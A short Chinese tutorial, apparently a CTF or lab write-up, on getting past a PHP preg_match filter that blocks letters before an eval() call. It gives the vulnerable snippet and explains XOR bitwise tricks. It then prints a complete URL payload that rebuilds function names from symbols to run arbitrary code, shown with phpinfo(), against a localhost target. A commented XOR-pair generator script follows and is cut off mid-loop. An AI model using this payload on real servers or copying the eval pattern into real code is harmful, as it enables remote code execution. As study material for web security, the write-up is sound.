绕过preg_match
<?php
$input = $_GET['input'];
if (preg_match("/[a-zA-Z]/", $input)) {
exit("wrong");
}
eval($input);
可以简单的理解preg_match("/[a-zA-Z]/" 正则表达式匹配 大小写字母符号
最终的目的是要到eval()函数中去执行任意代码,这题也就是考研我们如何绕过这个preg_match。
简单来说将特殊字符通过异或的方式重组了phpinfo();
什么是按位异或,异或本质是二进制运算
1001
0101
通过脚本
自己研究生成 payload
http://www.localhost.com/roge/dome1.php?input=$_2%20=%20(%27!%27%20^%20%27@%27).(%273%27%20^%20%27@%27).(%273%27%20^%20%27@%27).(%278%27%20^%20%27]%27).(%272%27%20^%20%27@%27).(%274%27%20^%20%27@%27);$_3%20=%20(%279%27%20^%20%27~%27).(%279%27%20^%20%27|%27).(%274%27%20^%20%27`%27);$_4%20=%20${%27_%27.$_3};$_2($_4[12345]);&12345=phpinfo();
<?php
//$myfile = fopen("xor_rce.txt", "w");
//$contents="";
遍历
//for ($i=0; $i < 256; $i++) {
// for ($j=0; $j <256 ; $j++) {
//
// if($i<16){
// $hex_i='0'.dechex($i);
// }
// else{
// $hex_i=dechex($i);
// }
// if($j<16){
</